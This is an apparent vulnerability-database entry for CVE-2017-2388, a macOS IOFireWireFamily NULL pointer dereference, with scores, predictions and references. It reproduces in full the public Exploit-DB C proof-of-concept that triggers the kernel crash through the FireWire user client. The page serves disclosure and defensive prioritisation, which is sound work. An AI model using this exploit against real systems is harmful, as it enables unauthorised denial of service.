CVE-2017-2388

medium

Published 2017-04-02 · Modified 2026-05-13

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CVSS v3

5.5

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

CVSS v4 NEW

—

not yet in upstream

VIR risk

6.5

Description

An issue was discovered in certain Apple products. macOS before 10.12.4 is affected. The issue involves the "IOFireWireFamily" component. It allows attackers to cause a denial of service (NULL pointer dereference) via a crafted app.

Predictions

Exploit likelihood

55%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-44236 dos macos c · 1 KB

Brandon Azad · 2017-08-16

Apple macOS Sierra 10.12.3 - 'IOFireWireFamily-null-deref' FireWire Port Denial of Service

c exploit Source: Exploit-DB

/*
 * IOFireWireFamily-null-deref.c
 * Brandon Azad
 *
 * NULL pointer dereference in IOFireWireUserClient::setAsyncRef_IsochChannelForceStop.
 *
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44236.zip
*/


#include <IOKit/IOKitLib.h>

int main() {
	int ret = 0;
	io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
			IOServiceMatching("IOFireWireLocalNode"));
	if (service == IO_OBJECT_NULL) {
		ret = 1;
		goto fail1;
	}
	io_connect_t connect;
	kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
	IOObjectRelease(service);
	if (kr != KERN_SUCCESS) {
		ret = 2;
		goto fail1;
	}
	// isochChannel_Create
	uint64_t args[3] = { 0, 0x100, 0x100 };
	uint64_t handle = 0;
	uint32_t output_count = 1;
	kr = IOConnectCallMethod(connect, 57,
			args, sizeof(args) / sizeof(*args), NULL, 0,
			&handle, &output_count, NULL, NULL);
	if (kr != KERN_SUCCESS) {
		ret = 3;
		goto fail2;
	}
	// setAsyncRef_IsochChannelForceStop
	kr = IOConnectCallMethod(connect, 90,
			&handle, 1, NULL, 0,
			NULL, NULL, NULL, NULL);
	if (kr != KERN_SUCCESS) {
		ret = 4;
		goto fail2;
	}
fail2:
	IOServiceClose(connect);
fail1:
	return ret;
}

OS impact

macOS Affected 1 release

Version	Status	Fixed in
—	Affected	—

References

CWEs

CWE-476

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.